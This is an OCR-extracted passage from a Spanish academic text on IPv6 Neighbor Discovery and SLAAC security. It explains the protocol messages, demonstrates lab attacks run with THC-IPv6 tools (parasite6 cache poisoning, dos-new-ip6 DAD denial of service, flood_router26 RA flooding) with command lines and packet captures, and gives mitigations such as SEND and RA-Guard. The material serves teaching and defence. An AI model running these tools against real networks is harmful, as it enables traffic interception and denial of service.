Router Solicitation *®(RS): cuando una interface se habilita, los host pueden
enviar RSs pidiendo al router la generacion de RAs inmediatamente, en lugar
de hacerlo en su préxima hora programada.

Router Advertisement (RA): los routers pueden advertir su presencia a
través de algunos pardmetros de internet y de enlace, tanto periédicamente
o respondiendo mensajes RS. RAs pueden contener prefijos usados para la

autoconfiguracion, un valor limite para los saltos, MTU para el enlace, etc

*> Neighbor Discovery Protocol: Protocolo de descubrimiento de vecinos

* Router Discovery: Descubrimiento de Router

** Duplicate Address Detection: Deteccién de direcciones duplicadas

*> Neighbor Unreachability Detection: Deteccién de no-alcanzabilidad de vecinos
*® Router Solicitation: Mensaje de Solicitud de Router
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e Neighbor Solicitation *’ (NS): los nodos envian NSs para determinar una
direccién de enlace local de un vecino o para verificar si un vecino aun es
alcanzable a través de la direccidon de enlace local que se encuentra en el
cache. También es usado para el proceso de DAD.

e Neighbor Advertisement *® (NA): una respuesta a un mensaje NS. Un nodo
puede también enviar mensajes NAs para anunciar que una direccion de
capa de enlace cambié.

e Redirect Message *° (RM): Usado por los routers para informar a los hosts
gue existe un primer salto mejor para el destino.

Como se observar, ND juega un importante papel en el direccionamiento
pues, provee funcionalidades para la resolucion de direcciones y |la

autoconfiguracion.

5.2.1 Resolucion de direcciones

Los mensajes NS y NA son utilizados para resolver direcciones I[P
descubriendo la direccién MAC de los nodos dentro del mismo enlace. Un nodo que
desea enviar un paquete debe conocer la direccion MAC del nodo destino.

En la Fig. 29se presenta un ejemplo de resolucion de direcciones:
Host A (Remitente)

MAC: AA-BB-CC-00-00-AA
IPv6: 2001:DB8::1234:5678:AAAA

—

RED LOCAL

X

MAC: AA-BB-CC-00-00-BB
Mensaje Multicast Neighbor Solicitation (NS) IPv6: 2001:DB8::1234:5678:BBBB
éQuién tiene la direcciéon 2001:DB8::1234:5678:BBBB?
e Cabecera Ethernet
Mac Destino: 33-33-FF-78-BB-BB Host B (Destinatario deseado)
e Cabecera IPv6
Direccién Origen: 2001:DB8::1234:5678:AAAA )
Direccién Destino: FF02::1:FF7:BBBB f
Limite de saltos: 255
e Cabecera Neighbor Solicitation:
Direccion Objetivo: 2001:DB8::1234:5678:BBBB
Source Link-Layer Address: AA-BB-CC-00-00-AA

Mensaje Neighbor Advertisement (NA)

Tengo la Mac: AA-BB-CC-00-00-BB

e Cabecera Ethernet

Mac Destino: AA-BB-CC-00-00-AA

e Cabecera IPv6

Direccion Origen: 2001:DB8::1234:5678:BBBB
Direccion Destino: 2001:DB8::1234:5678:AAAA
¢ Limite de saltos: 255

e Cabecera Neighbor Solicitation:

Direccion Objetivo: 2001:DB8::1234:5678:BBBB
Source Link-Layer Address: AA-BB-CC-00-00-BB

Fig. 29 - Proceso de Resolucion de direcciones

* Neighbor Solicitation: Mensaje de Solicitud de vecino
*® Neighbor Advertisement: Mensaje de Anuncio de vecino
* Redirect Message: Mensaje de Redireccion
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Para el protocolo NS, el nodo solicitante (Host A) sabe que la direccion del
nodo destino (Host B) es local por el prefijo de red. Sabiendo esto, emplea la
direccién Solicited-node multicast *° para enviar un mensaje NS. El proceso para
resolver una direccion MAC es el siguiente:

e Direccion Unicast del Nodo Destino: 2001:DB8::1234:5678:BBBB
e Direccidn Solicited-node multicast (se deben tomar los Ultimos 24 bits de la
direccién unicast): FF02::1:FFxx:xxxx, toma la forma: FF02::1:FF78:BBBB .

El mensaje NS incluye tanto la direccion MAC como la direccion IPv6 del
solicitante, para que el destinatario pueda responder directamente y proporcionar
su propia direcciéon MAC. El nodo destino conociendo su propia direccidon unicast,
estard escuchando por la direccion solicited-node multicast. Cuando el mensaje
multicast llegue a destino, el nodo analiza el paquete que tiene direccién multicast
con prefijo FF02::1 con la solicitud de MAC, comprueba que es efectivamente el
destinatario, actualiza su neighbor-cache (con la direccion MAC del solicitante) y
responde con un NA enviando su verdadera direccion MAC. En este momento

ambos host pueden comunicarse.

5.2.2 Auto-configuracion

El mecanismo de Autoconfiguracion [4], permite a dispositivos dentro de
una red IPv6, configurar sus direcciones en forma auténoma e independiente
usando SLAAC, sin la necesidad de un servidor.

Estas direcciones son generadas empleando una combinacion de
informacién entregada por los routers (prefijos de subred, rutas, parametros de
red) como generada localmente (identificador de interfaz con formato EUI-IEEE-64),
como se vio en secciones anteriores. Si un router no esta disponible para anunciar
prefijos de subred, un host puede generar direcciones link-local que son suficientes
para permitir la comunicacién entre los nodos conectados al mismo enlace, si a esto
se suma la presencia de un router, el host ademas de generar esta direccién link-

local generard otro tipo de direcciones.

*% (Address) Solicited Node Multicast: Direccion multi-destino de nodo
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Hay que tener en cuenta que SLAAC es mandatorio en IPv6, mientras que
DHCPv6 es opcional.
Una direccidn IPv6 puede tener diferentes estados [4]:

e Direccion Tentativa: su unicidad esta siendo verificada en el enlace antes de
ser asignada a la interfaz. Se descartan paquetes dirigidos a una direccion
tentativa, excepto los usados para el protocolo de DAD.

e Direcciéon Principal: es asignada a una interfaz la cual es usada por
protocolos de capas superiores en forma irrestricta. Puede ser usada como
origen o destino en el envio de paquetes.

e Direccién valida: puede ser tanto principal como expirada. Puede aparecer
en el origen o destino de los paquetes, y los sistemas de ruteo

e Direccidn invalida: no estd asignada a ninguna interfaz. Una direccién valida
pasa a dicho estado cuando expira el tiempo de vida. Una direccidon de este

tipo no puede aparecer ni en el origen ni destino de los paquetes.

5.2.2.1 SLAAC: Paso por paso

El funcionamiento del proceso SLAAC, puede resumirse en los siguientes
pasos [30]:
1- El host genera una direccidn link-local que toma el estado de tentativa.
2- El host emplea DAD para chequear que la direccién no esta en uso, para

este propdsito envia un paquete NS.

3- En caso de que el proceso anterior sea exitoso, el host envia un paquete

RS.

4- El host al recibir un paquete RA, genera con los pardmetros recibidos y con

parametros locales una direccién tentativa.

5- El host chequea que la direccidn no estd en uso, es decir, vuelve a realizar
el proceso de DAD para esa direccidn, enviando un paquetes NS y espera
respuestas.

6- Si la direccidn es Unica comienza a utilizarla

En la Fig. 30 se ilustra el ciclo de vida de una direccién IPv6 pasando por sus

distintos estados:
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Sélo Link-Local

Router
Advertisment
Nueva Direccion: Fallo en DAD .
. Duplicada
Tentativa
Exitoen DAD
Valida
Principal Tiempo de vida
principal expirado Tiempo de vida
. valido expirado
Expirada Invélida

Fig. 30 — Ciclo de vida de una direccién IPv6
5.2.3 Ataques al proceso de resolucion de direcciones y a SLAAC

A continuacion se describiran una serie de ataques que afectan al proceso
de resolucién de direcciones y SLAAC, procesos que emplean los mensajes RA, RS,
NS y NA del protocolo ICMPv6. Para cada uno de ellos se mostrara algunas
contramedidas en particular, mientras que luego de puntualizar todos los posibles
ataques, se daran una serie de recomendaciones genéricas que abarcan a la

mayoria de ellos. [31] [32]

5.2.3.1 Desbordando el Neighbor Cache

Algunas implementaciones no imponen limites en el nimero de entradas
maxima que admiten en el Neighbor Cache. Por lo que un posible ataque consiste
en enviar una gran cantidad de mensajes de NS que incluyan la opcién Source Link-
layer address’’. Este generara que por cada paquete enviado, la victima agrega una
entrada en el Neighbor Cache. Si estas entradas son agregadas a mayor velocidad
que las que son eliminadas algunos registros antiguos, se produce un
desbordamiento del cache generando denegacién de servicio. [32]

Mitigacion: Se recomienda el uso de SEND, concepto que se explicard en

secciones posteriores.

51 . . . s .
Source Link-layer address: Direccion origen de capa de enlace
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5.2.3.2 Captura de trafico en redes switcheadas

Una alternativa al ataque de desbordamiento del Neighbor Cache, consiste
en mapear la direccion IPv6 de la victima a la direccion Ethernet de broadcast
(Ff-ffff:ff:ff) o bien a la direccién Ethernet multicast (33:33:00:00:01). Esto generara
que el trafico se envie a todos los nodos del enlace, incluyendo al atacante y a la
victima. [30]

Mitigacidn: Utilizar entradas estaticas en el Neighbor Cache, configurando
manualmente mapeos entre las direcciones IPv6 en direcciones de capa de enlace.
Es similar a incluir entradas estaticas en el cache ARP de IPv4. Es una alternativa
aplicable a escenarios particulares ya que tiene pocas posibilidades de
escalamiento.

Otra alternativa es el uso de SEND.

5.2.3.3 Envenenamiento del Neighbor Cache

Los mensajes de RS, RA, NS y NA pueden ser usados maliciosamente para
envenenar el Neighbor Cache de un nodo victima mapeando direcciones IPv6 con
direcciones de capa de enlace inexistentes o direcciones que son manejadas por el
atacante. En el primer caso se produce una denegacién de servicio, mientras que en
el segundo, se produce un tipo de ataque Man-in-the-middle. >2 [31]

Para efectuar este ataque se utilizara la herramienta parasite6, del paquete
THC-IPV6-ATTACK-TOOLKIT [33], que permite realizar el spoofing® de direcciones
IPv6 y el posterior ataque de Man-in-the-middle. La topologia empleada es la

mostrada en la Fig. 31:

52 . . . . . .
Man-in-the-middle: Ataque conocido como Hombre en el medio, en el que un atacante interfiere
las comunicaciones entre dos sistemas.
53 . ; . .z . .
Spoofing: técnicas de suplantacion de identidad
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% PC 01 Windows 7 Ultimate

MAC: 00-0C-29-26-12-1E
Pv6 : fe80::9570:d3d8:albc:fbcd

MAC: 00:0C:29:AB:A0:5A
IPv6: fe80::20c:29ff:feab:a05a

Atacante: Debian 6.0
MAC: 00:0C:29:A3:2E:FC
IPv6: fe80::20c:29ff:fea3:2efc

Fig. 31 - Topologia empleada para el ataque Man-in-the-middle
En el atacante se debe activar la propiedad de que el Sistema Operativo

actlie como router en el trafico IPv6 que recibe (IPv6 Forwarding®*), como se

aprecia en la Fig. 32.

root@Debian?:~# sysctl -w net.ipvé.conf.all.forwarding=1
net.ipve.conf.all. forwarding = 1

Fig. 32 - Habilitar IPv6 Forwarding

Se genera trafico efectuando ping desde la PCO1 hasta la PC02, como se

muestra en la Fig. 33.

sMindowssS8ystem322ping -6 —t fe8B::28c:29ff:feab:abba

aciendo ping a felB::28c:29ff:feab:aB5%a con 32 buytes de datos:
espuesta desde fe8B:-:28c:-2?ff:feab:aB5a: tiempo=ims
espuesta desde feBW::28c:29ff:feab:aBba: tiempo<im
espuesta desde fe8B:-:28c:-2?ff:feab:aB5a: tiempo=ims
espuesta desde felB::2Bc:29ff:feab:aBb%a: tiempo=1ims

Fig. 33 - Generacion de trafico IPv6

Se ejecuta el programa con el pardmetro —| ( que reenvia los paquetes por
objetivo cada 5 segundos). Inmediatamente comienzan a mostrarse por pantalla los
paquetes NS que son iterceptados y contestados con NA que contienen la direccidn

MAC del atacante, como se ilustra en la Fig. 34.

>* |Pv6 Forwarding: Reenvio de trafico IPv6
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root@Debian: /home/rodrigo/thec-ipve-2.1% ./parasites -1 etho
Rememher to enable routing (ip forwarding), you will denial service otherwise!
=» echo 1 > /proc/sys/nec/ipve/conf/all/forwarding
Started ICHP& Neighbor Scolitication Interceptor (Press Control-C to end)
Spoofed packet to fef0::20g:20ff:feakb:a05a as f=R0;::9570:43d8; 131k fhcd ]
Spoofed packet to fef0::20c:29ff:fea3:2efc as feB0::20c:i29ff:feakb:alsa
Spoofed packet to fef80::20c:29ff:feald:2efc as fel0::9570:d4d3d8:alboc:fhcd
Spoofed packet to fef80::8570:d4d3d8:albc:fhcd as felB0::20c:289ff:feal3:2efc
Spoofed packet to fe80::20c:29ff:feakb:alfa as feB80::20c:29ff:fea3:2efc
Spoofed packet to f£e80::9570:d3d8:albc:fbcd as feB80::20c:29ff:feakb:alsa
Spoofed packet to fe80::20c:29ff:feab:alfa as feB80::9570:d3d8:albc:fbcd
Spoofed packet to fef80::20c:29ff:feab:al05a as fef0::9570:d4d3d8:albeoc:fhcd

Fig. 34 - Ejecucion del programa parasite6
En la Fig. 35 se muestra el flujo de paquetes NA y NS usando el programa

Wireshark, donde se observa que en primer término la PC0O2 envia un NS hacia la
PCO1. La secuencia continuda, con la contestacion con un NA por parte de la PC02.
Una visién mas detallada del contenido del paquete se aprecia en la Fig. 36, donde
la direccién MAC origen y la target-link layer >>address son efectivamente de la
PCO2.

El tercer paquete que se observa en el flujo corresponde al paquete
falsificado por parte del atacante. En la Fig. 37, se puede destacar que la direccion

MAC origeny la target-link layer address corresponde al atacante.

Source Destination Length Protocel  Info
::20c:29ff :feab:a05a 9570:d3d8:albc:fbcd 86 ICMPv6 Neighbor Solicitation for feB0::9570:d3d8:albc:fbcd from 00:0c:29:ab:a0:5a

fe80::9570:d3d8:alhc:fhcd  feB0::20c:29ff :feab:a0%a 86 ICMPv6  Neighbor Advertisement fe80::9570:d3d8:albc:fbed (sol, ovr) is at 00:0c:29:26:12:1e
fe80::9570:d3d8:albc:fhcd  feB0::20c:29ff :feab:a05a 86 ICMPv6  Neighbor Advertisement fe80::9570:d3d8:albc:fbed (sol, ovr) 1s at 00:0c:29:a3:2e:fc
fe80::9570:d3d8:albc:fhcd  feB0::20c:29ff:feab:a05a 86 ICMPV6  Neighbor Advertisement fe80::9570:d3d8:albc:fbed (ovr) s at 00:0c:29:a3:2e:fc
fe80::9570:d3d8:alhc:fhcd  feB0::20c:29ff :feab:a0%a 86 ICMPv6  Neighbor Advertisement fe80::9570:d3d8:albc:fbed (ovr) is at 00:0c:29:a3:2e:fc

Fig. 35 - Paquetes NS y NA mostrados en Wireshark

Ethernet II
[ Destination:
Address: vmware_ab:a0:5a (00:0c:29:ab:a0:5a)
....... 0 .... cvvev vvve ... = IG bit: Individual address (unicast)
ceen w00 Ll ol Lo L. = LG bit: Globally unique address (factory default)
[ Source: Vmware_26:12:1e (00:0c:29:26:12:1e)
Address: vmware_26:12:1e (00:0c:29:26:12:1e)
....... 0 ceve veve vive ... = IG bit: Individual address (unicast)
. = LG bit: Globally unique address (factory default)

[ ¢ I
Type: IPvEe (0x86dd)
= Internet Protocol version 6, src: Te80::9570:d3d8:albc:fbcd (Te80::9570:d3d8:albc:fbcd), Dst: TeB80::20c:29ff:feab:ald5a
@ 0110 .... = version: &
B ... 0000 0000 cuvn wvv viin i e = Traffic class: 0x00000000
............ 0000 0000 0000 0000 0000 = Flowlabel: Ox00000000
payload length: 32
next header: IcmpPvé (0x3a)
Hop Timit: 255
Source: feB80::9570:d3d8:albc:fhca (fe80::9570:d3d8:albc:fhcd)
Destination: fe80::20c:29ff:feab:a05a (feB0::20c:29ff:feab:a0n5a)
[Destination SA MAC: Vmware_ab:a0:5a (00:0c:29:ab:a0:5a)]
= Internet Control Message Protocol v
Type: Neighbor Advertisement (136)
Code: 0
Checksum: 0x0629 [correct]
@ Flags: 0x60000000
Target Address: Te80::9570:d3d8:albc:Thcd (TeB0::9570:d3d8:albc:Thcd)
IcMPv6 _option (Target link-layer address : 00:0c:29:26:12:1e)
Type: Target link-layer address (2)
Length: 1 (8 bytes)
Link-Tlayer address: vmware_26:12:1e (00:0c:29:26:12:1e)

Fig. 36 - Paquete NA original

>® Target-link layer address: Direccién Objetivo de capa de enlace
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= ETthernet IIj, src: vmware_a3:2e:

m Frame 3: 86 bytes on wire (688 bits), 86 bytes captured (688 bits)
€ (00:0c:29:a3:2e:

DsT: wvmware_ab:a0:5a (00:0c:29:ab:al:5a)

= Destination: viwar e ap au: 74 oo e,

Address: wvmware_abh:a0:5a (00:0c:29
................ = IG
0 caa. = LG

= Source: vmware_a3:2e:fc (00:0c:29:a3
Address: vmware_a3:2e:fc (00:0c:29:

. = LG

H.4D.4dU004)

rab:a0:5a)

bit: Individual address (unicast)

bit: Globally unique address (factory default)
2e:fc)

a3:2e:fc)

bit: Individual address (unicast)

bit: Globally unique address (factory default)

e
Type: IPv6 (Ox8&dd)
= Internet Protocol Version 6, src: fe80::9570:d3d8:albc:fbcd (feB80::9570:d3d8:albc:fhcd),
& 0110 .... = version: 6
® .... 0000 0000

Dst: feB0::20c:29ff:feab:al5a

.................... = Traffic class: 0x00000000
............ 0000 0000 0000 0000 0000 = Flowlabel: Ox00000000
Payload length: 32
Next header: ICMPvE (0x3a)

Hop limit: 255

source: TeB80::9570:d3d8:albc:fbca (fe80::9570:d3d8:albc:fhca)
pestination: feB0::20c:29ff:feab:a05a (fe80::20c:29ff:feab:a05a)
[Destination SA MAC: Vmware_ab:a0:5a (00:0c:29:ab:a0:5a)]

£ Internet control Message Protocol vé
Type: Neighbor Advertisement (136)

Code: 0

Checksum: Oxe8cd [correct]
& Flags: 0x60000000

Target Address: fef0::0570:d3d8:albc:fbcd (fe80::9570:d3d8:albc:fbcd

ICMPve Option (Target link-Tayer address :

00:0c:29:a3:2e:fc)

e: Target link-layer address (2)
Length: 1 (8 bytes)
Link-Tayer address: vmware_a3:2e:fc (00:0c:29:a3:2e:fc)

Fig. 37 - Paquete NA Falsificado

De este modo se envenena el Neighbor Cache de los dos host que
participan de la comunicacién, se produce el llamado ataque Man-in-the-middle

como se muestra en el flujo de paquetes de la Fig. 38.

Info
echo (ping)

Destination
20c:29ff :feab:a0d5a

Source
::9570:d3d8:albc:fbcd

Length Protocel

94 ICMPVE request 7d=0x0001, seq=1849

fe80::9570:d3d8:albc:fhcd fe80::20c:29ff :feab:ab5a 94 1cMPve Echo (ping) request id=0x0001, seg=1849
fe80::20c:29ff :feab:al5a fe80::9570:d3d8:albc:fbcd 94 1cMPveé  Echo (ping) reply id=0x0001, segq=1849
fe80::20c:29ff:feab:al5a fe80::9570:d3d8:albc:fbcd 94 IcMPvEé Echo (ping) reply id=0x0001, seq=1849

Fig. 38 - Tréfico resultante después del ataque Man-in-the-middle

Mitigacidn: no se debe permitir la sobreescritura de la direccion de capa de
enlace de una entrada del Neighbor Cache cuando una opcién de source link-layer
o una target-link layer address sea recibida. El mapeo de una direccion IPv6 hacia
una direccion de capa de enlace, deberia poder ser actualizado Unicamente cuando
el mecanismo de NUD primero remueva la entrada correspondiente del Neighbor
Cache. Una vez producida esta eliminacion, el protocolo de ND estard en

condiciones de actualizar el mapeo. [31]

5.2.3.4 Explotar el mecanismo de DAD para denegacidn de servicio

Un atacante puede simplemente escuchar mensajes de NS enviados como
parte del mecanismo de DAD (con direccion origen igual a la direccion “no
especificada” (::) de IPv6) y responder con paquetes modificados, causando que el
nodo victima considere que la direccidn esta en uso, evitando que esa direccién

tentativa sea configurada en el futuro.
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Asi mismo, un atacante puede responder los mensajes de NS con la misma
direccién IPv6 del solicitante, en este caso el nodo legitimo considerara esto como
una colisién y dejara de solicitar el uso de esa direccién IPv6. [31]

Para efectuar este ataque se utilizard la herramienta dos-new-ipv6, del
paquete THC-IPV6-ATTACK-TOOLKIT [33].

La topologia usada se muestra en la Fig. 39, en el que los host utilizan el
mecanismo de SLAAC empleando el prefijo anunciado por el router local.

@ Router Local — Cisco 3640
Direccion IPv6 Link Local: FE80::CE02:2BFF:FED8:0/64

Fo/o Direccién IPv6 FastEthernet 0/0: FC00:12::1/64

Prefijo que publica: FC00:12::/64
@ g

S
PC Victima - Windows 7 Ultimate PC Atacante — Debian 6.0
DiréCci6n IPv6 Link Local: FE80::2C6E:45A3:F280:422C/64 Direccioli IPv6 Link Local: FE80::20C:29FF:FEA3:2EFC/64
Direccién IPv6:FC00:12::9570:D3D8:A1BC:FBC4/64 Direccién IPv6: fc00:12::20c:29ff:fea3:2efc/64

Fig. 39 - Topologia para explotar vulnerabilidad de DAD

Para forzar a que el host realice el proceso de DAD, se deshabilitara la placa
de red y se la volverd a habilitar (simulando que se une a la red), proceso que se

visualiza en la Fig. 40

£ Conexién de area local
- Red 7 ®  Desactivar
& Conexion de red Intel(R) Estado
Diagnosticar

'?; Conexiones de puente

Crear acceso directo
Eliminar

'f‘:;f‘ Cambiar nombre

'E‘:,‘ Propiedades

Fig. 40 - Deshabilitar placa de red

A continuacidn se ejecuta el programa en el host del atacante y se visualiza
las direcciones IPv6 que esta denegando que sean delegadas, proceso mostrado en

la Fig. 41.

root@Debian: /home/rodrigo/the-ipve-2.1% ./dos-new-ipé ethl
Started ICHMF& DAD Denial-of-Service (Press Control-C to end)
Spoofed packet for existing ipé as feB80::9570:d4d3d8:albc:fbed
Spoofed packet for existing ipbe as fe80::e096:8995f:c000:c4c3
Spoofed packet for existing ip6 as fefl::2cbe:45a3:£280:422c
|5puofed packet for existing ip6 as chO:lE::2c6e:4533:f250:&22c|
Spoofed packet for existing ipe as fcO0:12::2cee:d45a3:f280:4272c

Fig. 41 - Ataque de dos-new-ipv6
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En el host victima, se advierte que el sistema detectd una IP duplicada (Fig.
42) y como se ilustra en la Fig. 43, no pudo obtener una IPv6 de alcance global

valida.
Error de red @

Windows detecté un conflicto en la direccion IP

Otro equipa de esta red tiene la misma direccién IP que este equipo. Péngase en contacta con
el administrador de red para que le ayude a resolver este problema. Pude obtener mas detalles
en el registro de eventos de sistema de Windows.

Fig. 42 - IPv6 Duplicada

C=“UWindows“Systen3d2>ipconfig
Configuracidn IP de Windows
Adaptador de Ethernet Conexidn de area local:

Sufijo DNS especificeo para la conexidn. . : localdomain

Uinculo: direccidn IPub local. . . : feBB::2c6e:45a3:Ff280:422c211

Direccidn IPvd. . . . . . . . . . . . . . = 192.168.127.138

Mascara de subred . . . . . . . . . . . . @ 255 250 205.@

Puerta de enlace predeterminada . . . . . : fe8B::ceB2:2bff:fedB:8x11

Fig. 43 - Configuracion IPv6 luego del ataque
En la Fig. 44, se puede observar cdmo funciona el ataque, frente a un
pedido de NS, el atacante responde con un paquete de NA con la direccidn
solicitada, evitando asi que sea tomada por el host legitimo.
Source Destination Length Protocol  Info
ff02::1:7f80:422c 7B ICMPve  Neighbor Solicitation for fc00:12::2c6e:45a3:f280:422¢

fc00:12: : 2c6e:45a3:f280:422¢ f02::1 86 ICMPV6  Neighbor Advertisement Tc00:12::2c6e:45a3:f280:422¢ (ovr) 1s at 00:0c:93:32:96:5F
fc00:12:: 2c6e:45a3:f280:422¢ ff02::1 86 ICMPvG  Neighbor Advertisement fc00:12::2c6e:45a3:f280:422¢ (ovr) is at 00:0c:93:32:96:5

Fig. 44 - Flujo de paquetes Ataque contra DAD

Mitigacion: Los switches pueden filtrar mensajes de NA basados en el
conocimiento previo de direcciones de capa de enlaces recientemente usadas en

cada puerto. [31]

5.2.3.5 Tampering *°con Neighbor Unreachability Detection >’(NUD)

El mecanismo de NUD es usado para detectar cuales son los nodos vecinos
gue ya no pueden ser alcanzados, y eliminar su entrada en el Neighbor Cache.
Para verificar que un nodo vecino sea alcanzable, NUD emplea indicaciones

de protocolos de capas superiores, como por ejemplo TCP Acknowledgements®®. En

>® Tampering: Manipulacién o alteracién de parametros
>" Neighbor Unreachability Detection: Deteccidn de inaccesibilidad hacia un nodo vecino
*® TCP Acknowledgements: Tipo de mensaje del protocolo TCP que indica reconocimiento
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ausencia de estas indicaciones, NUD emplea solicitudes unicast de NS (a diferencia
de los mensajes multicast usados para la resolucién de direcciones) para confirmar
la alcanzabilidad del host dentro del enlace.

Un atacante que esté escuchando el trafico puede responder esta solicitud,
y engafiar a la victima indicandole que el host sigue siendo alcanzable cuando en
realidad ya no lo es. Esto provoca problemas por ejemplo en la determinacion de
una alternativa al router del primer salto configurado o bien que se pierdan
paquetes. [31]

Mitigacidn: Los nodos podrian requerir que la direccion source link-layer
de un mensaje de NA que esté siendo usada para NUD sea la misma que la
almacenada en la entrada del Neighbor Cache para la cual se esta llevando a cabo el
NUD.

Con este requerimiento, los switches podrian filtrar mensajes de NA de
acuerdo a su direccién source-link layer, basandose en el conocimiento de la
direccion de capa de enlace recientemente usada en cada puerto.

Sin embargo, se debe tener en cuenta que un atacante podria aun
manipular los indicadores de NUD enviados a capa superiores, alterando por

ejemplo los TCP ACK. [31]

5.2.3.6 Spoofing de parametros

Un atacante puede enviar mensajes no solicitados de RA o responder a
mensajes de RS, anunciando un router por defecto legitimo, pero con parametros
falsos. Por ejemplo puede anunciar un valor bajo del campo Limite de Salto Actual,
causando que los paquetes sean descartados antes de alcanzar su destino. Otro
parametro que puede advertir en forma incorrecta es el MTU del enlace evitando
también que paquetes llegue a destino. [31]

Mitigacion: Los switches solo deberian permitir mensajes RA por

determinados puertos.
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5.2.3.7 Rogue Router”’

Este ataque consiste en que un usuario malicioso envie mensajes de RA no
solicitados o que responda los mensajes de RS, advirtiendo la existencia de un
router por defecto que realmente no existe u otro que esté bajo su control. En el
primer caso, los paquetes enviados a este router inexistente se perderdn
provocando denegacidon de servicio, mientras que en segundo caso se crea un
escenario para ejecutar un tipo de ataque Man-in-the-middle. [31]

Mitigacidn: Exigir que se tenga preferencia a los routers existentes sobre
los nuevos que se conectan a la red [34].

Esta problematica es analizada [35] y se aconseja el uso de un método de

filtrado llamado RA-Guard®® [36] (Ser descripto en secciones posteriores).

5.2.3.8 Anunciando prefijos on-link®! incorrectos

Un atacante puede enviar mensajes no solicitados de RA o responder
mensajes de RS, anunciando que nodos con ciertos prefijos de red, se encuentran
en el mismo enlace.

Los nodos que se encuentren con este prefijo seran considerados como
partes del enlace y los paquetes destinados a ellos no seran enviados al router del
primer salto, sino transmitidos en forma local. El nodo victima intentara realizar un
proceso de ND para hallar el destino. En este escenario se pueden darse dos
situaciones [31]:

1) Si el atacante no responde con un mensaje NA, los paquetes se pierdeny
puede producirse denegacién de servicio.

2) Siel atacante responde con un mensaje de NA con su propia direccidon de
capa de enlace, armando el escenario para un atague Man-in-the-middle.

Mitigacidon: Se recomienda [34] que para mitigar este ataque los host
deben requerir prefijos de al menos una extension de /64.

Los switches solo deberian permitir mensajes RA por determinados

puertos.

>° Rogue Router: router empleado con fines maliciosos.

® RA-Guard: Proteccion para los mensajes de Router Advertisement.

®! prefijos on-link: prefijos que indican que los nodos que lo poseen son alcanzables y estan en el
mismo enlace.
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5.2.3.9 Deshabilitar Routers

Un atacante puede enviar mensajes modificados de RA, NA o RS, causando
que los nodos que lo reciban eliminen de sus listas de router a aquel equipo que el
usuario malicioso esta intentando impersonarse. Esto puede lograrse manipulando
los parametros Preferred Life Time ®%y Router Flag . [31]

Mitigacidn: Se recomienda el uso de RA-Guard.

5.2.3.10 Ataque de DOS a través de anuncios RA [31]

Para efectuar este ataque se utilizard la herramienta flood_router26, del
paquete THC-IPV6-ATTACK-TOOLKIT [32]. Consiste en enviar en forma
indiscriminada paquetes RA sin ser solicitados. La ejecucidon del programa se

muestra en la Fig. 45.

root@Debian?: /home/rodrigo/the-ipvé-2. 13 ./flood router2f ethl
Starting to flood network with router advertisements on eth{ (Press Control-C to end, a dot is printed for every 100 packet):

Fig. 45 - Ejecucion de Flood_router26

Efectuando un analisis con Wireshark del flujo de trafico, en la Fig. 46, se
ilustra como son enviados los mensajes RA sin limite. Esto genera denegacién de
servicio en el host victima, en este caso se utilizé6 Windows 7 Ultimate, y en la Fig.
47, se observa como la llegada de estos paquetes genera que el procesador esté

ocupado al 100%.

Source Destination Length Protocol  Info

5g 1038 ICMPVE Advertisement from 00:0c:
fe80::8:4d88:9bd:7501 ffoz2::1 1038 ICMPvE Router Advertisement from 00:0c:88:09:bd:75
fe80::8:4dab:9bd:7501 ffoz2::1 1038 ICMPvE Router Advertisement from 00:0c:ab:09:bd:75
fe80::8:4dce:9bd:7501 ffoz2::1 1038 ICMPvE Router Advertisement from 00:0c:ce:09:bd:75
fe80::8:4df1:9bd:7501 ffoz2::1 1038 ICMPvE Router Advertisement from 00:0c:f1:09:bd:75
fe80::8:4d14:abd: 7501 ffoz::1 1038 IcMPv6 Router Advertisement from 00:0c:14:0a:bd:75
fe80::8:4d37:abd:7501 ffoz2::1 1038 ICMPvE Router Advertisement from 00:0c:37:0a:bd:75

Fig. 46 - DOS con RA salida de Wireshark

Uso de CPU Historial de uso de CPU

|

Fig. 47 - DOS con RA uso de CPU

'ﬁ.‘.u\x

I
i, "

®2 preferred Life Time: Tiempo de vida preferido
®3 Router Flag: Indicador de Router
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5.2.4 Algunas medidas generales a tener en cuenta

Para que los procesos de autoconfiguracidon y resolucién de direccion sean
mas seguros, se deben tener en cuentas el empleo de ciertas mejoras que seran

descriptas a continuacion.

5.2.4.1 Secure Neighbor Discovery [37]

El protocolo SEND [16] ofrece mejoras significativas para el protocolo NDP:
brinda elementos que permiten verificar si un nodo es verdaderamente propietario
de la direcciéon que posee, ademas ofrece caracteristicas que son usadas para la
proteccién de mensajes y por ultimo facilita un mecanismo de autorizacion para
routers. Para lograr estos objetivos, SEND trae cuatro nuevas opciones (CGA, firma
RSA, nonce ®%y Timestamp®) y dos nuevos mensajes ICMPv6 usados en el proceso

de autorizacion de routers.

5.2.4.1.1 Cryptographically generated address

A través de esta opcion, se asocian los parametros CGA para que el
receptor pueda validar el vinculo entre la llave publica (usado para validar la firma)
y el propio CGA.

CGA es utilizado para evitar el robo de direcciones. Permite Ia
autenticaciéon de direcciones IPv6 sin la necesidad de un tercero o de una
infraestructura de seguridad adicional. Como se describié en el Capitulo 3, los CGA
son direcciones IPv6, en las cuales una funcién hash de la llave publica de un nodo
junto con otros parametros auxiliares genera el 1ID. Entonces la direccién IPv6 de un
nodo esta vinculada con su llave publica. El receptor puede verificar este vinculo
recalculando el valor del hash y comparandolo con el IID de la direccién IPv6 del
emisor.

Un aspecto cuestionable de usar CGA es su alto costo computacional.

64 , . . ,

Nonce: un numero arbitrario usado sélo una vez.
65 . . .

Timestamp: etiqueta de tiempo.
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5.2.4.1.2 Firma RSA

Es empleada para autenticar la identidad del remitente. En primer lugar,
cada nodo debe generar u obtener el par de claves RSA publicas/privadas antes de
solicitar una direccion IPv6. El remitente firma los mensajes de salida con su llave
privada, la correspondiente a la llave publica usada en el algoritmo de generacion

de CGA

5.2.4.1.3 Nonce®®

Se usa un numero aleatorio para asegurarse que el mensaje es una
respuesta “fresca” o reciente de una solicitud del nodo. SEND incluye esta opcién en
los mensajes de solicitudes y requiere que los mensajes de anuncios o respuestas

incluyan una opcidn de correspondencia entre el pedido y la respuesta.

5.2.4.1.4 Timestamp

Esta opcion es utilizada para asegurar una proteccidon frente a ataques de
tipo Man-in-the-Middle contra anuncios no solicitados como los mensajes
periddicos de RAs y RMs. Se hace la suposicion de que todos los nodos tienen los
relojes sincronizados, entonces los nodos pueden prevenir los ataques mencionados

llevando a cabo el algoritmo de chequeo de Timestamp67.

5.2.4.1.5 Router authorization®

